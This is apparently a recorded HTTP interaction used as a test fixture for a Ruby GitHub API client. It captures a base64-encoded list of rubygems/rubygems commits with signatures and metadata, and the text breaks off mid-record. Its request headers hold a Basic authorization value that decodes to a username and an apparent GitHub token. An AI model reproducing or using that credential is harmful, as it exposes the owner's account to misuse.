- Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:32 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4630' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"78136d423f5a9a4ee3dc7297b60f3156" Last-Modified: - Mon, 25 Dec 2017 06:35:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.081323' X-Github-Request-Id: - C40E:4D97:9033ED:1C46958:5A50E454 body: encoding: ASCII-8BIT string: !binary |- W3sic2hhIjoiYjFjNGViNzMzYmI2NGYzOGI3YWNiNzc0MDgyYzgxY2YyMWU5OWEwYiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6Ik5vYnV5b3NoaSBOYWthZGEiLCJlbWFpbCI6Im5vYnVAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTI1VDA2OjM1OjA5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6Ik5vYnV5b3NoaSBOYWthZGEiLCJlbWFpbCI6Im5vYnVAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTI1VDA2OjM1OjA5WiJ9LCJtZXNzYWdlIjoiRml4ZWQgbGVha2VkIEZEcyIsInRyZWUiOnsic2hhIjoiMWViOTQ0NDJhYTFhZGQwMTY0ZTc5MTIxNmU1NmQyMmMzMGZmZjg5YiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzFlYjk0NDQyYWExYWRkMDE2NGU3OTEyMTZlNTZkMjJjMzBmZmY4OWIifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9iMWM0ZWI3MzNiYjY0ZjM4YjdhY2I3NzQwODJjODFjZjIxZTk5YTBiIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlIVUVBQkVJQUIwV0lRUjM2L0dFWnRlNXVSM0hEOU5MeDliZldOamZZQVVDV2tDY0hRQUtDUkJMeDliZldOamZcbllCZlJBUUNMTzNYL0lmZUpDdjR6VFZMKzR3TTA5b0Y2ZUU5MGpXb1NadDUxb1R0VkpRRCtLQjNDbFJjWXAzQ05cblZoWTIzYjE1endubWtnTjhSNEt0QzRMRmZ5OEFySUE9XG49aXZaNFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMWViOTQ0NDJhYTFhZGQwMTY0ZTc5MTIxNmU1NmQyMmMzMGZmZjg5YlxucGFyZW50IGVhZjI5ODYwMmY5MTRhZTk4NDRhYzEwMzMwZmMxYjZjOGE1ZWYwYmRcbmF1dGhvciBOb2J1eW9zaGkgTmFrYWRhIDxub2J1QHJ1YnktbGFuZy5vcmc+IDE1MTQxODM3MDkgKzA5MDBcbmNvbW1pdHRlciBOb2J1eW9zaGkgTmFrYWRhIDxub2J1QHJ1YnktbGFuZy5vcmc+IDE1MTQxODM3MDkgKzA5MDBcblxuRml4ZWQgbGVha2VkIEZEc1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYjFjNGViNzMzYmI2NGYzOGI3YWNiNzc0MDgyYzgxY2YyMWU5OWEwYiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9iMWM0ZWI3MzNiYjY0ZjM4YjdhY2I3NzQwODJjODFjZjIxZTk5YTBiIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2IxYzRlYjczM2JiNjRmMzhiN2FjYjc3NDA4MmM4MWNmMjFlOTlhMGIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJub2J1IiwiaWQiOjE2NzAwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjcwMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL25vYnUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJub2J1IiwiaWQiOjE2NzAwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjcwMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL25vYnUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJlYWYyOTg2MDJmOTE0YWU5ODQ0YWMxMDMzMGZjMWI2YzhhNWVmMGJkIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2VhZjI5ODYwMmY5MTRhZTk4NDRhYzEwMzMwZmMxYjZjOGE1ZWYwYmQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZWFmMjk4NjAyZjkxNGFlOTg0NGFjMTAzMzBmYzFiNmM4YTVlZjBiZCJ9XX0seyJzaGEiOiIyMWZhY2UxODY2OWU4Nzc5MDM0MGEwYWNkOTU1MTNiYzA2NjlmNDA1IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yNVQwNjoxOTowNFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTI1VDA2OjE5OjA0WiJ9LCJtZXNzYWdlIjoiU2V0IHRvIG5leHQgcmVsZWFzZSB2ZXJzaW9uIiwidHJlZSI6eyJzaGEiOiJmZGQ4ODQwMDdjYTIxNDAwMzFhOTAxMDFkZDNkZWZkYzcwNmMxYmY0IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZmRkODg0MDA3Y2EyMTQwMDMxYTkwMTAxZGQzZGVmZGM3MDZjMWJmNCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzIxZmFjZTE4NjY5ZTg3NzkwMzQwYTBhY2Q5NTUxM2JjMDY2OWY0MDUiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblxuaVFFekJBQUJDQUFkRmlFRTUwTFI5MEpPby8zcEl2ZG0rYzhUUVhKaytzSUZBbHBBbUZnQUNna1ErYzhUUVhKa1xuK3NLQTdBZi9ZMENrZWUrWmdhWHd4em1hMWI5a2JtSW1iRElTRXZzZVd5N1ovQlp3RnFsSVFyRUVudFFEUmg4TVxud1Q1WVpXQVU0RUNHYnBMTGFaM1BpeUxBSnR6QnhZVFJyMG5TUTFXcTVON2xxQllGeG5Fbm1qTEJrQU1GVHR5R1xuS0pLR2g2b1RRd2RDdzVHaDN2ck1velFvWDRFRk5Hamp3SW9GK2JKNXc5dDBrTTZtaW1YZGVlMktXTnNzWnoxdFxubG5tcHZzRmtHNWRRL285SklVelB2ZCtRWEJqb1ZuN3JJdE8vWFg3TG9rb1dudXJxQWxFWS9qVDNKY1JXY0lQaVxudUVHcVlqem5xdm9rb0NPeVpBdkp4THpsekFsUUlFREJLKzdheEYzalNMYTQzSDFVcS8yclB5aGw4QktmazZwcVxuNHcyT0VON21BelI3V0RlU0wxblFLWVR5cFN5RXZ3PT1cbj03ZE9nXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBmZGQ4ODQwMDdjYTIxNDAwMzFhOTAxMDFkZDNkZWZkYzcwNmMxYmY0XG5wYXJlbnQgNTljZmUzNmM2ZjM4ZjAwYzY0YjFhNDMyMThkZjg3Mzg1MjU4MTNhOFxuYXV0aG9yIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTE0MTgyNzQ0ICswOTAwXG5jb21taXR0ZXIgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTQxODI3NDQgKzA5MDBcblxuU2V0IHRvIG5leHQgcmVsZWFzZSB2ZXJzaW9uXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yMWZhY2UxODY2OWU4Nzc5MDM0MGEwYWNkOTU1MTNiYzA2NjlmNDA1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzIxZmFjZTE4NjY5ZTg3NzkwMzQwYTBhY2Q5NTUxM2JjMDY2OWY0MDUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMjFmYWNlMTg2NjllODc3OTAzNDBhMGFjZDk1NTEzYmMwNjY5ZjQwNS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjU5Y2ZlMzZjNmYzOGYwMGM2NGIxYTQzMjE4ZGY4NzM4NTI1ODEzYTgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNTljZmUzNmM2ZjM4ZjAwYzY0YjFhNDMyMThkZjg3Mzg1MjU4MTNhOCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81OWNmZTM2YzZmMzhmMDBjNjRiMWE0MzIxOGRmODczODUyNTgxM2E4In1dfSx7InNoYSI6ImVhZjI5ODYwMmY5MTRhZTk4NDRhYzEwMzMwZmMxYjZjOGE1ZWYwYmQiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTI1VDA2OjE4OjQ0WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjVUMDY6MTg6NDRaIn0sIm1lc3NhZ2UiOiJTZXQgdG8gbmV4dCByZWxlYXNlIHZlcnNpb24iLCJ0cmVlIjp7InNoYSI6Ijc1ZjNkNmNmZjg1MWZhM2NjMmM3YjU5YTIzZjMxZjdiZTdlOTg3MWEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy83NWYzZDZjZmY4NTFmYTNjYzJjN2I1OWEyM2YzMWY3YmU3ZTk4NzFhIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZWFmMjk4NjAyZjkxNGFlOTg0NGFjMTAzMzBmYzFiNmM4YTVlZjBiZCIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFscEFtRVFBQ2drUStjOFRRWEprXG4rc0liS2dnQTNqb0tFaGtqcVh6RWJRU0pTSnlnYUltR00zR05kSWJrc3lUeHB2QTNqbWcwN0Q2cUFZYkMrOU9qXG5ML2V5d0UxMVJIWkNjVGxOR0FnU1FyWjNPdnc0bDcycXJZQi9YaGtkT0FPVFRENkFPRkI5dFExb0x2REJQaXk5XG5MYVQvcTFmbnRKZmRvVEN0cnN6NkVQSUZGNTI1clFhenB1MVlBMFZ5eE54b1dOQlhaNWlYVFNkRG1WZ3FOOHNYXG5pVUFoQTEvR2VGRVkzU0JOTzJWc2o5S2ZDUmZ2YXlLRW1heWlXb1llLzNQemkxYVk0K25mTEVLM0hna21YMVpCXG5ROHJPbGFOQW9ENDFCNG9Ib2hrWWcrRDV4NjFkWFBYdnR6ZkdRaEwvcVZzN1pNd0JJc3RoajROVVZXeU5GbTRkXG42N3drUURrQWxWQlpzK2tLYm1hcGNvZ0lUblNWRXc9PVxuPTg5dHNcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDc1ZjNkNmNmZjg1MWZhM2NjMmM3YjU5YTIzZjMxZjdiZTdlOTg3MWFcbnBhcmVudCAwOGU2ZDliNTk2NzQzMmY2YWZiNmMxYmQwMDgyNTU0NWUzMjg3ZmU4XG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTQxODI3MjQgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxNDE4MjcyNCArMDkwMFxuXG5TZXQgdG8gbmV4dCByZWxlYXNlIHZlcnNpb25cbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2VhZjI5ODYwMmY5MTRhZTk4NDRhYzEwMzMwZmMxYjZjOGE1ZWYwYmQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZWFmMjk4NjAyZjkxNGFlOTg0NGFjMTAzMzBmYzFiNmM4YTVlZjBiZCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lYWYyOTg2MDJmOTE0YWU5ODQ0YWMxMDMzMGZjMWI2YzhhNWVmMGJkL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMDhlNmQ5YjU5Njc0MzJmNmFmYjZjMWJkMDA4MjU1NDVlMzI4N2ZlOCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wOGU2ZDliNTk2NzQzMmY2YWZiNmMxYmQwMDgyNTU0NWUzMjg3ZmU4IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzA4ZTZkOWI1OTY3NDMyZjZhZmI2YzFiZDAwODI1NTQ1ZTMyODdmZTgifV19LHsic2hhIjoiNTljZmUzNmM2ZjM4ZjAwYzY0YjFhNDMyMThkZjg3Mzg1MjU4MTNhOCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0wMVQwMToyOTo1N1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTI1VDA2OjE0OjMyWiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMjEwNyAtIGhzYnQ6aGFuZGxlLW5vbi1mbG9jay1lbnYsIHI9aHNidFxuXG5IYW5kbGUgZW52aXJvbm1lbnQgdGhhdCBkb2V